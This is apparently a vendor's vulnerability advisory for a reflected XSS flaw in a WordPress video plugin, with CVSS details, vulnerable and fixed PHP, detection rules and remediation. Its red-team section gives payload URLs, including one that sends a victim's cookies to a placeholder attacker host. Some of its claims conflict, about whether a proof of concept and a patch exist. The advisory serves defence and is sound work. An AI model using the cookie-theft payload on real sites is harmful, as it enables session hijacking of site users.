CVE-2025-23770
Executive Summary
CVE-2025-23770 is a reflected Cross-Site Scripting (XSS) vulnerability in the Caspie Fast Tube WordPress plugin, affecting versions up to and including 2.3.1. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session.
This vulnerability is classified as a WordPress ecosystem issue, as the plugin is designed for WordPress sites. The CVSS score of 7.1 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the potential for partial impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain analysis is required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – Exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: Low (A:L) – Limited disruption.
Threat Level: High. The vulnerability is trivial to exploit via a crafted URL, and the plugin is widely used in WordPress environments.
Deep Dive & Mechanics
The vulnerability exists in the Fast Tube plugin’s handling of user-supplied input, likely through a GET parameter that is reflected back into the page without proper sanitization or encoding. When a victim clicks a malicious link containing the XSS payload, the injected script executes in the context of the WordPress site, potentially allowing the attacker to:
- Steal session cookies (if not HttpOnly).
- Redirect the user to a phishing page.
- Perform actions on behalf of the victim (e.g., changing settings).
- Deface the page.
The root cause is the lack of output encoding or input validation for reflected parameters. The plugin likely uses echo $_GET['param'] or similar without applying esc_html() or wp_kses().
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the recommended fix.
Vulnerable Code (PHP):
<?php
$search = $_GET['search'];
echo "<div>You searched for: " . $search . "</div>";
?>
Patched Code (PHP):
<?php
$search = isset($_GET['search']) ? sanitize_text_field($_GET['search']) : '';
echo "<div>You searched for: " . esc_html($search) . "</div>";
?>
The patched version uses sanitize_text_field() to strip malicious input and esc_html() to encode HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
- Craft the malicious URL:
http://target-site.com/?page=fast-tube&search=<script>alert('XSS')</script> - Deliver the link via email, social engineering, or a compromised site.
- Victim clicks the link, and the script executes in their browser.
Example payload for cookie theft:
http://target-site.com/?page=fast-tube&search=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
Lab Setup:
- Install WordPress with Fast Tube plugin version 2.3.1.
- Use a local server (e.g., XAMPP) and a browser with developer tools.
- Test the reflected XSS by injecting
<script>alert(1)</script>into the vulnerable parameter.
Blue Team (Detection & Defense)
- Web Application Firewall (WAF): Block requests containing
<script>tags in query parameters. - Input Validation: Ensure all user input is sanitized and output is encoded.
- Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- Monitor Logs: Look for unusual query strings with JavaScript patterns.
Indicators of Compromise (IOCs)
- URL Patterns: Requests containing
?page=fast-tube&search=followed by<script>oronerror=tags. - HTTP Referer: Suspicious referers from phishing emails or unknown domains.
- Server Logs: Repeated 200 responses to the same URL with varying script payloads.
- Browser Behavior: Unexpected redirects or pop-ups on the WordPress site.
Detection Engineering
YARA Rule
rule CVE_2025_23770_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting Fast Tube plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-23770"
strings:
$payload1 = "<script>" nocase
$payload2 = "onerror=" nocase
$payload3 = "onload=" nocase
$param = "fast-tube" nocase
condition:
any of ($payload*) and $param
}
Sigma Rule
title: Reflected XSS Attempt Against Fast Tube Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in HTTP requests to Fast Tube plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: 'fast-tube'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of script tags in search queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-23770 Reflected XSS Fast Tube"; flow:to_server,established; content:"fast-tube"; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Fast Tube plugin until a patch is released.
- Short-term Mitigation: Implement a WAF rule to block requests containing
<script>in the vulnerable parameter. - Long-term Fix: Apply the vendor’s patch when available, or manually sanitize input using
sanitize_text_field()andesc_html(). - User Education: Warn users not to click suspicious links.
- Monitor: Review server logs for exploitation attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.